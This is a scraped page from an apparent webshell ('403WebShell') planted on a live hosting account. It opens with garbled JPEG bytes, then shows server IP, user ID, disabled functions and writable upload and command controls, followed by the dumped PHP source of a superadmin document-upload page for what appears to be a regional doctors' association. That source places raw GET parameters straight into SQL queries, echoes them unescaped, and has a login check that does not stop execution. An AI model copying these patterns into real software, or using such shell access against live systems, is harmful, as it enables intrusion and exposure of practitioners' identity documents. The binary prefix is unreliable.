JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 2.57.91.8  /  Your IP : 216.73.217.80
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u686484674/domains/idikotabandung.com/public_html/IDI/superadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u686484674/domains/idikotabandung.com/public_html/IDI/superadmin//data_uplp2kb.php

<?php  include "koneksi.php";

  session_start();

	// cek apakah yang mengakses halaman ini sudah login

	if($_SESSION['status']<>"login"){

		header("location:location:../login.php");

	}

?>





<!DOCTYPE html>

<html>

<head>

	

<meta name="viewport" content="width=device-width, initial-scale=1.0">	

  <title>Upload dan Download File</title>

     <title>IDI | List Kategori</title>

    <!-- Custom fonts for this template-->

  <link href="vendor/fontawesome-free/css/all.min.css" rel="stylesheet" type="text/css">

  <link href="https://fonts.googleapis.com/css?family=Nunito:200,200i,300,300i,400,400i,600,600i,700,700i,800,800i,900,900i" rel="stylesheet">



  <!-- Custom styles for this template-->

  <link href="css/sb-admin-2.min.css" rel="stylesheet">

  

  <!-- Custom styles for this page -->

  <link href="vendor/datatables/dataTables.bootstrap4.min.css" rel="stylesheet">

	

	

	

  

  <!--Script CSS-->

  <link type="text/css" href='https://cdn.datatables.net/1.10.16/css/jquery.dataTables.min.css' rel='stylesheet'>

  <link type="text/css" href='https://cdn.datatables.net/responsive/2.2.1/css/responsive.dataTables.min.css' rel='stylesheet'>

  <link type="text/css" href='https://cdn.datatables.net/buttons/1.5.1/css/buttons.dataTables.min.css' rel='stylesheet'>

  <link href="style.css" rel="stylesheet">

<style>

		body {

			font-family: "Lucida Sans Unicode", "Lucida Grande", "Segoe Ui";

			font-size: 12px;

		}



.rapih{

padding-top=0;

margin-top=0;



    margin-top: 10px;

	max-width:500px;

	background: ;

    height: auto;

	overflow: hidden;

	padding: 10px;

	margin-left: 50px;

	text-align: left;

}

.rapih2{

padding-top=0;

margin-top=0;



    margin-top: 10px;

	max-width:1000px;

	background: ;

    height: auto;

	overflow: hidden;

	padding: 10px;

	margin-left: 50px;

	text-align: left;

}

	

	img {

    width: 100%;

    height: auto;

}	

	

.video-container { position: relative; padding-bottom: 56.25%; padding-top: 30px; height: 0; overflow: hidden; } .video-container iframe, .video-container object, .video-container embed { position: absolute; top: 0; left: 0; width: 100%; height: 100%; }		

	

img {

    width: 100%;

    height: auto;

}	

		@media only screen and (max-width: 580px) {

	.rapih{

		margin-left: 3%;

		width: 100%;

		font-size: 14px;

		text-align: left;

		

	}

	.rapih2{

		margin-left: 3%;

		width: 100%;

		font-size: 14px;

		text-align: left;

		

	}

			





			img {

    width: 100%;

    height: auto;

}

	}

</style>  

  

  

</head>

<body>





<!-- Page Wrapper -->

  <div id="wrapper">

  	<?php //include "sidebar.php"; ?>

    

    <!-- Content Wrapper -->

    <div id="content-wrapper" class="d-flex flex-column">



      <!-- Main Content -->

      <div id="content">

      

      <?php //include "topbar.php";?>

 

      	<!-- Begin Page Content -->

        <div class="container-fluid">

          <!-- DataTales Example -->

          <div class="card shadow mb-4">

            <div class="card-header py-3">

              <h6 class="m-0 font-weight-bold text-primary">List Post</h6>

            </div>

            <div class="card-body">

              <div class="table-responsive">

				  

	  <center><h4><strong>Upload Documen</strong></h4>

	  </center> 





<div class="rapih">	



	      <?php $npm=$_GET['npm'];  ?> 

	

	

	

	<?php

    //menampilkan data Pra registrasi

      $npm=$_GET['npm'];

	 $noreg=$_GET['noreg'];

	

      $sql=mysqli_query($konek,"SELECT * FROM peserta where npm='$npm' AND noreg='$noreg' order by id  desc limit 1 ");

      $data=mysqli_fetch_array($sql);

      //data hobi dari tabel siswa 

     // $datahobi=explode(',', $data['dokumen']);

		   $rs = isset($data['rs']) ? $data['rs'] : null;

			$klinik = isset($data['klinik']) ? $data['klinik'] : null;

		    $puskesmas = isset($data['puskesmas']) ? $data['puskesmas'] : null;

			$pribadi = isset($data['pribadi']) ? $data['pribadi'] : null;

			$kota = isset($data['kota']) ? $data['kota'] : null;

			$npm = $data['npm'] ;

			$perihal = $data['perihal'];

			$anggota = $data['anggota'];

			$ahli = $data['ahli'];

			$status = $data['status'];	

	        $noreg=$data['noreg'];	

	        $instansi= $data['instansi'];	

	

    ?>



   <h4 align="left">STEP 3 UPLOAD PERSYARATAN DOKUMEN </h4>



  

<center>

<div align="left">File yg harus diupload untuk persyaratan <strong>Permohonan STR Dokter Umum</strong></div>

<p align="left">

<br>

<p align="left">INFORMASI :<br>

	- Ukuran File Maximal: 3 MB.<br> 

	- Dokument Softcopy dalam bentuk gambar jpg, jpeg, png atau pdf. <br>  

	- Penamaan dokumen sesuai Judul syarat dokumen yg di upload Contoh: ktp.jpg.<br>  

	

	

	

	

    <?php $npm=$_GET['npm'];  ?>       

	

<div align="container">

	  <br>				  



				  

	

	<?php

       if  ( $perihal =='p2kb'){}

	?>	  		  



</div></div>

   

			

	

			

	



		





 <br/>



 	<table class="demo-table responsive" >

		<caption class="title">Tabel Data Upload:</caption>

		<thead>

			<tr>

				<th >No</th>

				<th >Jenis Berkas (Upload)</th>

				<th  width="300">Keterangan</th>

				<th>Status</th>

				  <th>Validasi1</th>

				<th >Batal/Hapus</th>

		

			</tr>

		</thead>

		<tbody>

      



	  

	  

	 <tr>

				<td data-header="No" class="title">1</td>

		 

				<td data-header="Jenis Berkas" >  <form name="form" enctype="multipart/form-data" action="upload_regp2kb.php" method="POST">

	

		<input type="checkbox" name="nm_surat" value="27" checked > 1. Screen Shoot Dashboard IDIONLINE.   <br><br>	

						

    <input name="npm" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['npm']  ?>"  />

    <input name="noreg" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['noreg']  ?>"  />

			<input name="chek" type = "hidden" readonly class="form-control"  value="2"  />

	<input name="nourut" type = "hidden" readonly class="form-control"  value="1"  />				

					

    <input type="hidden" name="MAX_FILE_SIZE" value="10000000" />

    <br>

			 <b>Click Browse lalu Pilih File yang akan di Upload:</b> <br><br>

		<input class="form-control"  name="file" type="file" style="cursor:pointer;" />

    <br>

			<?php

      

        $row = $konek->query("SELECT *  FROM file WHERE noreg='$_GET[noreg]' and nourut='1'  order by nourut ") or die(mysqli_error());



	 

		$fetch1 = $row->fetch_array();

		      

		$nourut1= isset($fetch1['nourut']) ? $fetch1['nourut'] : null;  

 

      ?>			



			<?php

       if  ( $nourut1 =='1'){

	?>		

		

					<a class='btn btn-warning btn-sm' href='#' >Upload Sukses</a>

					

	<?php

       }else{

	?>				

					

		<button type="submit" class="btn btn-success form-control" name="submit"><span class="glyphicon glyphicon-upload"></span> Click untuk Upload Document</button>



	<?php

       }

	?>		

    </form>

    <br/>     					

				

</td>

				

					

					



					

					

	  <td>

		  				 <?php

      //require 'config.php';

      $row = $konek->query("SELECT *  FROM file WHERE noreg='$_GET[noreg]' and nourut='1'  order by nourut ") or die(mysqli_error());

       $no = 1;

	   $total2=0;

	 while($fetch = $row->fetch_array()){

		  

		$potong_kalimat = substr($fetch['file'],-4);

       

		//$nourut= isset($fetch['nourut']) ? $fetch['nourut'] : null;  

		  $nourut= $fetch['nourut'];  

	   $pdf=$fetch['file'];

       ?>

       

        <?php 

        $name = explode('/', $fetch['file']);

        ?>	

		 <?php 

		  if ($nourut=='1'){

		  

		  ?>

		  

		  <a href="<?php echo $fetch['file']; ?>" target="_blank" title="Foto Bukti!" class="MagicZoom" rel="zoom-id:zoom;opacity-reverse:true; ">	

		

			 <?php 

			if ($potong_kalimat==".pdf"){

			?>	

			<div class="video-container"><embed type="application/pdf" src="<?php echo $fetch['file']; ?>" width="400" height="400"></embed></div>	

			 <?php	

			}else{

			?>	

			

		  <img  src="<?php echo $fetch['file']; ?>"  style="width:25%;"/></a>

			 <?php	

			}

			?>



						 <br>  

						  <br>  

						 Berhasil di Upload</td>



					   <?php	



						  }

						?>	

	<td><span class='merah'><?php echo $fetch['status']?></span></td>

		<td data-header='Reminder' class='merah' background-color='#ffcccc' >

								<a class='btn btn-success btn-sm' href='valid002p2kb.php?id=<?php echo $fetch['file_id']; ?>&npm=<?php echo $fetch['npm']; ?>&noreg=<?php echo $fetch['noreg']; ?>'> Validasi</a>

				 </td>



	  <td>

		   <a class='btn btn-danger btn-sm' href='del_uplp2kb.php?id=<?php echo $fetch['file_id']; ?>&noreg=<?php echo $fetch['noreg']; ?>&npm=<?php echo $fetch['npm']; ?>&file=<?php echo $fetch['file']; ?>&chek=2'>Batal/Hapus</a></td>

	 <?php 

		 }

		  ?>		

			</tr>

			

			

			<tr>

				<td data-header="No" class="title">2</td>

				<td data-header="Jenis Berkas" > <form name="form" enctype="multipart/form-data" action="upload_regp2kb.php" method="POST">

	

		<input type="checkbox" name="nm_surat" value="12" checked > 2. Softcopy (berwarna/asli) KTP <br><br>	

		

    <input name="npm" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['npm']  ?>"  />

    <input name="noreg" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['noreg']  ?>"  />    

					<input name="chek" type = "hidden" readonly class="form-control"  value="2"  />

					<input name="nourut" type = "hidden" readonly class="form-control"  value="2"  />

    <input type="hidden" name="MAX_FILE_SIZE" value="10000000" />

    <br>

		

    <b>Click Browse lalu Pilih File yang akan di Upload:</b> <br><br>

		<input class="form-control"  name="file" type="file" style="cursor:pointer;" />

    <br>

			<?php

      

        $row = $konek->query("SELECT *  FROM file WHERE noreg='$_GET[noreg]' and nourut='2'  order by nourut ") or die(mysqli_error());



	 

		$fetch1 = $row->fetch_array();

		      

		$nourut1= isset($fetch1['nourut']) ? $fetch1['nourut'] : null;  

 

      ?>			



			<?php

       if  ( $nourut1 =='2'){

	?>		

		

					<a class='btn btn-warning btn-sm' href='#' >Upload Sukses</a>

					

	<?php

       }else{

	?>				

					

		<button type="submit" class="btn btn-success form-control" name="submit"><span class="glyphicon glyphicon-upload"></span> Click untuk Upload Document</button>



	<?php

       }

	?>		

    </form>

    <br/>                                                                                                                                  </td>

				 <td>

					 

			 <?php

      //require 'config.php';

      $row = $konek->query("SELECT *  FROM file WHERE noreg='$_GET[noreg]' and nourut='2'  order by nourut ") or die(mysqli_error());

       $no = 1;

	   $total2=0;

	    while($fetch = $row->fetch_array()){

		  

		$potong_kalimat = substr($fetch['file'],-4);

       

		//$nourut= isset($fetch['nourut']) ? $fetch['nourut'] : null;  

		  $nourut2= $fetch['nourut'];  

	   $pdf=$fetch['file'];

       ?>

      

        <?php 

        $name = explode('/', $fetch['file']);

        ?>			 

					 

					 

					 

					 

					 

		 <?php 

		  if ($nourut2=='2'){

		  

		  ?>

		  

		  <a href="<?php echo $fetch['file']; ?>" target="_blank" title="Foto Bukti!" class="MagicZoom" rel="zoom-id:zoom;opacity-reverse:true; ">	

		

			 <?php 

			if ($potong_kalimat==".pdf"){

			?>	

			<div class="video-container"><embed type="application/pdf" src="<?php echo $fetch['file']; ?>" width="400" height="400"></embed></div>	

			 <?php	

			}else{

			?>	

			

		  <img  src="<?php echo $fetch['file']; ?>"  style="width:25%;"/></a>

			 <?php	

			}

			?>



						 <br>  

						  <br>  

						 Berhasil di Upload</td>

		 <?php	



						  }

						?>	

			<td><span class='merah'><?php echo $fetch['status']?></span></td>

		<td data-header='Reminder' class='merah' background-color='#ffcccc' >

								<a class='btn btn-success btn-sm' href='valid002p2kb.php?id=<?php echo $fetch['file_id']; ?>&npm=<?php echo $fetch['npm']; ?>&noreg=<?php echo $fetch['noreg']; ?>'> Validasi</a>

				</td>



	  

	  <td>

		   <a class='btn btn-danger btn-sm' href='del_uplp2kb.php?id=<?php echo $fetch['file_id']; ?>&noreg=<?php echo $fetch['noreg']; ?>&npm=<?php echo $fetch['npm']; ?>&file=<?php echo $fetch['file']; ?>&chek=2'>Batal/Hapus</a></td>

	 <?php 

		 }

		  ?>		

			</tr>

			<tr>

				<td data-header="No" class="title">3</td>

				<td data-header="Jenis Berkas" >

					    <form name="form" enctype="multipart/form-data" action="upload_regp2kb.php" method="POST">

	

		<input type="checkbox" name="nm_surat" value="28" checked > 3. Softcopy (berwarna/sesuai asli) Surat keterangan Sehat untuk dapat melaksanakan Praktik.  <br><br>	

					

    <input name="npm" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['npm']  ?>"  />

    <input name="noreg" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['noreg']  ?>"  />

			<input name="chek" type = "hidden" readonly class="form-control"  value="2"  />

							<input name="nourut" type = "hidden" readonly class="form-control"  value="3"  />

    <input type="hidden" name="MAX_FILE_SIZE" value="10000000" />

    <br>	

			

		 <b>Click Browse lalu Pilih File yang akan di Upload:</b> <br><br>

		<input class="form-control"  name="file" type="file" style="cursor:pointer;" />

    <br>

			<?php

      

        $row = $konek->query("SELECT *  FROM file WHERE noreg='$_GET[noreg]' and nourut='3'  order by nourut ") or die(mysqli_error());



	 

		$fetch1 = $row->fetch_array();

		      

		$nourut1= isset($fetch1['nourut']) ? $fetch1['nourut'] : null;  

 

      ?>			



			<?php

       if  ( $nourut1 =='3'){

	?>		

		

					<a class='btn btn-warning btn-sm' href='#' >Upload Sukses</a>

					

	<?php

       }else{

	?>				

					

		<button type="submit" class="btn btn-success form-control" name="submit"><span class="glyphicon glyphicon-upload"></span> Click untuk Upload Document</button>



	<?php

       }

	?>		

    </form>

    <br/>  

				

				</td>

				<td data-header="Keterangan" >

				

				

					 

			 <?php

      //require 'config.php';

      $row = $konek->query("SELECT *  FROM file WHERE noreg='$_GET[noreg]' and nourut='3' order by nourut ") or die(mysqli_error());

       $no = 1;

	   $total2=0;

	    while($fetch = $row->fetch_array()){

		  

		$potong_kalimat = substr($fetch['file'],-4);

       

		//$nourut= isset($fetch['nourut']) ? $fetch['nourut'] : null;  

		  $nourut3= $fetch['nourut'];  

	   $pdf=$fetch['file'];

       ?>

      

        <?php 

        $name = explode('/', $fetch['file']);

        ?>			 

					 

					 

					 

					 

					 

		 <?php 

		  if ($nourut3=='3'){

		  

		  ?>

		  

		  <a href="<?php echo $fetch['file']; ?>" target="_blank" title="Foto Bukti!" class="MagicZoom" rel="zoom-id:zoom;opacity-reverse:true; ">	

		

			 <?php 

			if ($potong_kalimat==".pdf"){

			?>	

			<div class="video-container"><embed type="application/pdf" src="<?php echo $fetch['file']; ?>" width="400" height="400"></embed></div>	

			 <?php	

			}else{

			?>	

			

		  <img  src="<?php echo $fetch['file']; ?>"  style="width:25%;"/></a>

			 <?php	

			}

			?>



						 <br>  

						  <br>  

						 Berhasil di Upload</td>

 <?php	



						  }

						?>	



			<td><span class='merah'><?php echo $fetch['status']?></span></td>

		<td data-header='Reminder' class='merah' background-color='#ffcccc' >

								<a class='btn btn-success btn-sm' href='valid002p2kb.php?id=<?php echo $fetch['file_id']; ?>&npm=<?php echo $fetch['npm']; ?>&noreg=<?php echo $fetch['noreg']; ?>'> Validasi</a>

				</td>

	  

	  <td>

		   <a class='btn btn-danger btn-sm' href='del_uplp2kb.php?id=<?php echo $fetch['file_id']; ?>&noreg=<?php echo $fetch['noreg']; ?>&npm=<?php echo $fetch['npm']; ?>&file=<?php echo $fetch['file']; ?>&chek=2'>Batal/Hapus</a></td>

	 <?php 

		 }

		  ?>		

			</tr>

	

		<tr>

				<td data-header="No" class="title">4</td>

				<td data-header="Jenis Berkas" >

					    <form name="form" enctype="multipart/form-data" action="upload_regp2kb.php" method="POST">

	

		<input type="checkbox" name="nm_surat" value="29" checked > 4. Softcopy (berwarna/sesuai asli) Surat Izin Praktik (SIP)  (SIP yang sesuai dg input rekapan pasien idionline).   <br><br>	

					

    <input name="npm" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['npm']  ?>"  />

    <input name="noreg" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['noreg']  ?>"  />

	<input name="chek" type = "hidden" readonly class="form-control"  value="2"  />

	<input name="nourut" type = "hidden" readonly class="form-control"  value="4"  />

    <input type="hidden" name="MAX_FILE_SIZE" value="10000000" />

    <br>	

			

		 <b>Click Browse lalu Pilih File yang akan di Upload:</b> <br><br>

		<input class="form-control"  name="file" type="file" style="cursor:pointer;" />

    <br>

		<?php

      

        $row = $konek->query("SELECT *  FROM file WHERE noreg='$_GET[noreg]' and nourut='4'  order by nourut ") or die(mysqli_error());



	 

		$fetch1 = $row->fetch_array();

		      

		$nourut1= isset($fetch1['nourut']) ? $fetch1['nourut'] : null;  

 

      ?>			



			<?php

       if  ( $nourut1 =='4'){

	?>		

		

					<a class='btn btn-warning btn-sm' href='#' >Upload Sukses</a>

					

	<?php

       }else{

	?>				

					

		<button type="submit" class="btn btn-success form-control" name="submit"><span class="glyphicon glyphicon-upload"></span> Click untuk Upload Document</button>



	<?php

       }

	?>		

    </form>

    <br/>  

				

				</td>

				<td data-header="Keterangan" >

				

				

					 

			 <?php

      //require 'config.php';

      $row = $konek->query("SELECT *  FROM file WHERE noreg='$_GET[noreg]' and nourut='4' order by nourut ") or die(mysqli_error());

       $no = 1;

	   $total2=0;

	    while($fetch = $row->fetch_array()){

		  

		$potong_kalimat = substr($fetch['file'],-4);

       

		//$nourut= isset($fetch['nourut']) ? $fetch['nourut'] : null;  

		  $nourut3= $fetch['nourut'];  

	   $pdf=$fetch['file'];

       ?>

      

        <?php 

        $name = explode('/', $fetch['file']);

        ?>			 

					 

					 

					 

					 

					 

		 <?php 

		  if ($nourut3=='4'){

		  

		  ?>

		  

		  <a href="<?php echo $fetch['file']; ?>" target="_blank" title="Foto Bukti!" class="MagicZoom" rel="zoom-id:zoom;opacity-reverse:true; ">	

		

			 <?php 

			if ($potong_kalimat==".pdf"){

			?>	

			<div class="video-container"><embed type="application/pdf" src="<?php echo $fetch['file']; ?>" width="400" height="400"></embed></div>	

			 <?php	

			}else{

			?>	

			

		  <img  src="<?php echo $fetch['file']; ?>"  style="width:25%;"/></a>

			 <?php	

			}

			?>



						 <br>  

						  <br>  

						 Berhasil di Upload</td>

 <?php	



						  }

						?>	



			<td><span class='merah'><?php echo $fetch['status']?></span></td>

		<td data-header='Reminder' class='merah' background-color='#ffcccc' >

								<a class='btn btn-success btn-sm' href='valid002p2kb.php?id=<?php echo $fetch['file_id']; ?>&npm=<?php echo $fetch['npm']; ?>&noreg=<?php echo $fetch['noreg']; ?>'> Validasi</a>

				 </td>

	  

	  <td>

		   <a class='btn btn-danger btn-sm' href='del_uplp2kb.php?id=<?php echo $fetch['file_id']; ?>&noreg=<?php echo $fetch['noreg']; ?>&npm=<?php echo $fetch['npm']; ?>&file=<?php echo $fetch['file']; ?>&chek=1'>Batal/Hapus</a></td>

	 <?php 

		 }

		  ?>		

			</tr>

		  

	

			  

			<tr>

				<td data-header="No" class="title">5</td>

				<td data-header="Jenis Berkas" >

					    <form name="form" enctype="multipart/form-data" action="upload_regp2kb.php" method="POST">

	

		<input type="checkbox" name="nm_surat" value="30" checked > 5. Softcopy (berwarna/sesuai asli) STR.  <br><br>	

					

    <input name="npm" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['npm']  ?>"  />

    <input name="noreg" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['noreg']  ?>"  />

			<input name="chek" type = "hidden" readonly class="form-control"  value="2"  />

							<input name="nourut" type = "hidden" readonly class="form-control"  value="5"  />

    <input type="hidden" name="MAX_FILE_SIZE" value="10000000" />

    <br>	

			

		 <b>Click Browse lalu Pilih File yang akan di Upload:</b> <br><br>

		<input class="form-control"  name="file" type="file" style="cursor:pointer;" />

    <br>

			<?php

      

        $row = $konek->query("SELECT *  FROM file WHERE noreg='$_GET[noreg]' and nourut='5'  order by nourut ") or die(mysqli_error());



	 

		$fetch1 = $row->fetch_array();

		      

		$nourut1= isset($fetch1['nourut']) ? $fetch1['nourut'] : null;  

 

      ?>			



			<?php

       if  ( $nourut1 =='5'){

	?>		

		

					<a class='btn btn-warning btn-sm' href='#' >Upload Sukses</a>

					

	<?php

       }else{

	?>				

					

		<button type="submit" class="btn btn-success form-control" name="submit"><span class="glyphicon glyphicon-upload"></span> Click untuk Upload Document</button>



	<?php

       }

	?>		

    </form>

    <br/>  

				

				</td>

				<td data-header="Keterangan" >

				

				

					 

			 <?php

      //require 'config.php';

      $row = $konek->query("SELECT *  FROM file WHERE noreg='$_GET[noreg]' and nourut='5' order by nourut ") or die(mysqli_error());

       $no = 1;

	   $total2=0;

	    while($fetch = $row->fetch_array()){

		  

		$potong_kalimat = substr($fetch['file'],-4);

       

		//$nourut= isset($fetch['nourut']) ? $fetch['nourut'] : null;  

		  $nourut3= $fetch['nourut'];  

	   $pdf=$fetch['file'];

       ?>

      

        <?php 

        $name = explode('/', $fetch['file']);

        ?>			 

					 

					 

					 

					 

					 

		 <?php 

		  if ($nourut3=='5'){

		  

		  ?>

		  

		  <a href="<?php echo $fetch['file']; ?>" target="_blank" title="Foto Bukti!" class="MagicZoom" rel="zoom-id:zoom;opacity-reverse:true; ">	

		

			 <?php 

			if ($potong_kalimat==".pdf"){

			?>	

			<div class="video-container"><embed type="application/pdf" src="<?php echo $fetch['file']; ?>" width="400" height="400"></embed></div>	

			 <?php	

			}else{

			?>	

			

		  <img  src="<?php echo $fetch['file']; ?>"  style="width:25%;"/></a>

			 <?php	

			}

			?>



						 <br>  

						  <br>  

						 Berhasil di Upload</td>

 <?php	



						  }

						?>	



			<td><span class='merah'><?php echo $fetch['status']?></span></td>

		<td data-header='Reminder' class='merah' background-color='#ffcccc' >

								<a class='btn btn-success btn-sm' href='valid002p2kb.php?id=<?php echo $fetch['file_id']; ?>&npm=<?php echo $fetch['npm']; ?>&noreg=<?php echo $fetch['noreg']; ?>'> Validasi</a>

				</td>

	  

	  <td>

		   <a class='btn btn-danger btn-sm' href='del_uplp2kb.php?id=<?php echo $fetch['file_id']; ?>&noreg=<?php echo $fetch['noreg']; ?>&npm=<?php echo $fetch['npm']; ?>&file=<?php echo $fetch['file']; ?>&chek=1'>Batal/Hapus</a></td>

	 <?php 

		 }

		  ?>		

			</tr>

				

			<tr>

				<td data-header="No" class="title">6</td>

				<td data-header="Jenis Berkas" >

					    <form name="form" enctype="multipart/form-data" action="upload_regp2kb.php" method="POST">

	

		<input type="checkbox" name="nm_surat" value="31" checked > 6. Softcopy (berwarna/sesuai asli) ijazah Profesi.  <br><br>	

					

    <input name="npm" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['npm']  ?>"  />

    <input name="noreg" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['noreg']  ?>"  />

			<input name="chek" type = "hidden" readonly class="form-control"  value="2"  />

							<input name="nourut" type = "hidden" readonly class="form-control"  value="6"  />

    <input type="hidden" name="MAX_FILE_SIZE" value="10000000" />

    <br>	

			

		 <b>Click Browse lalu Pilih File yang akan di Upload:</b> <br><br>

		<input class="form-control"  name="file" type="file" style="cursor:pointer;" />

    <br>

			<?php

      

        $row = $konek->query("SELECT *  FROM file WHERE noreg='$_GET[noreg]' and nourut='6'  order by nourut ") or die(mysqli_error());



	 

		$fetch1 = $row->fetch_array();

		      

		$nourut1= isset($fetch1['nourut']) ? $fetch1['nourut'] : null;  

 

      ?>			



			<?php

       if  ( $nourut1 =='6'){

	?>		

		

					<a class='btn btn-warning btn-sm' href='#' >Upload Sukses</a>

					

	<?php

       }else{

	?>				

					

		<button type="submit" class="btn btn-success form-control" name="submit"><span class="glyphicon glyphicon-upload"></span> Click untuk Upload Document</button>



	<?php

       }

	?>		

    </form>

    <br/>  

				

				</td>

				<td data-header="Keterangan" >

				

				

					 

			 <?php

      //require 'config.php';

      $row = $konek->query("SELECT *  FROM file WHERE noreg='$_GET[noreg]' and nourut='6' order by nourut ") or die(mysqli_error());

       $no = 1;

	   $total2=0;

	    while($fetch = $row->fetch_array()){

		  

		$potong_kalimat = substr($fetch['file'],-4);

       

		//$nourut= isset($fetch['nourut']) ? $fetch['nourut'] : null;  

		  $nourut3= $fetch['nourut'];  

	   $pdf=$fetch['file'];

       ?>

      

        <?php 

        $name = explode('/', $fetch['file']);

        ?>			 

					 

					 

					 

					 

					 

		 <?php 

		  if ($nourut3=='6'){

		  

		  ?>

		  

		  <a href="<?php echo $fetch['file']; ?>" title="Foto Bukti!" target="_blank" class="MagicZoom" rel="zoom-id:zoom;opacity-reverse:true; ">	

		

			 <?php 

			if ($potong_kalimat==".pdf"){

			?>	

			<div class="video-container"><embed type="application/pdf" src="<?php echo $fetch['file']; ?>" width="400" height="400"></embed></div>	

			 <?php	

			}else{

			?>	

			

		  <img  src="<?php echo $fetch['file']; ?>"  style="width:25%;"/></a>

			 <?php	

			}

			?>



						 <br>  

						  <br>  

						 Berhasil di Upload</td>

 <?php	



						  }

						?>	



			<td><span class='merah'><?php echo $fetch['status']?></span></td>

		<td data-header='Reminder' class='merah' background-color='#ffcccc' >

								<a class='btn btn-success btn-sm' href='valid002p2kb.php?id=<?php echo $fetch['file_id']; ?>&npm=<?php echo $fetch['npm']; ?>&noreg=<?php echo $fetch['noreg']; ?>'> Validasi</a>

				</td>

	  

	  <td>

		   <a class='btn btn-danger btn-sm' href='del_uplp2kb.php?id=<?php echo $fetch['file_id']; ?>&noreg=<?php echo $fetch['noreg']; ?>&npm=<?php echo $fetch['npm']; ?>&file=<?php echo $fetch['file']; ?>&chek=1'>Batal/Hapus</a></td>

	 <?php 

		 }

		  ?>		

			</tr>		

		</tbody>

	</table> 

	  



<div class="container" >			

	   <table id="example" class="demo-table responsive" style="width:90%">

    <thead>

      <tr>  

         <th>No</th>

		 <th>Nama Surat</th>

         <th>Dokumen</th>

   	  <th>Status</th>



      </tr>

    </thead>

    <tbody class="alert-success">

      <?php

      //require 'config.php';

      $row = $konek->query("SELECT *,count( file_id) as jumlah  FROM file WHERE noreg='$_GET[noreg]' AND nourut='' group by file_id ") or die(mysqli_error());

       $no = 1;

	   $total2=0;

	  while($fetch = $row->fetch_array()){

		$file=  $fetch['file'];

	  $potong_kalimat = substr($fetch['file'],-4);

       ?>

       <tr>

        <?php 

        $name = explode('/', $fetch['file']);

        ?>

        <td><?php echo $no ?></td>

		<td><?php echo $fetch['nmsurat']?></td>

        <td><a href="<?php echo $fetch['file']; ?>" target="_blank" title="Foto Bukti!" class="MagicZoom" rel="zoom-id:zoom;opacity-reverse:true; ">		

			            

						<?php 

			if ($potong_kalimat==".pdf"){

			?>	

			<div class="video-container"><embed type="application/pdf" src="<?php echo $fetch['file']; ?>" width="200" height="200"></embed></div>	

			 <?php	

			}else{

			?>	

			<img  src="<?php echo $fetch['file']; ?>"  style="width:25%;"/>

			 <?php	

			}

			?>  

			

			<br><br>

			

						  <?php echo $fetch['nmfile']; ?> 

			

			</p>

      <a href="download22.php?file=<?php echo $file ?>" class="btn btn-primary"><span class="glyphicon glyphicon-download"></span> Download</a></td>

  	

	<td><span class='merah'><?php echo $fetch['status']?></span></td>

	

		 



                  





      </tr>

      <?php

	   $no++;

	   

	   //  $jumlah= $fetch['jumlah'];

	    

	  //   $total2 += $fetch['jumlah'];  

    }

	

    //		  $selisih =  $jumlahup-$total2 ;

		  ?>

	

	

										



  </tbody>

</table>

		

 



					</div>









	 

	   <div align="center"><a class='btn btn-warning btn-sm' href='upd_sipp2kb.php?npm=<?php echo $_GET['npm']; ?>&noreg=<?php echo $noreg ?>'><h4>Click Kembali ke Progress Status</h4></a>





		 </div>

		 

	

	



							

     <p>&nbsp;</p>  <p>&nbsp;</p>    <p>&nbsp;</p>  



								

								

                              <!--Script Javascript-->

                                <script src="https://code.jquery.com/jquery-1.12.4.js"></script>

                                <script src="https://cdn.datatables.net/1.10.16/js/jquery.dataTables.min.js"></script>

                                <script src="https://cdn.datatables.net/responsive/2.2.1/js/dataTables.responsive.min.js"></script>

                                <script src="https://cdn.datatables.net/buttons/1.5.1/js/dataTables.buttons.min.js"></script>

                                <script src="https://cdn.datatables.net/buttons/1.5.1/js/buttons.colVis.min.js"></script>

                                <script>

 $(document).ready(function() {

  $('#example').DataTable( {

    dom: 'Bfrtip',

    buttons: [

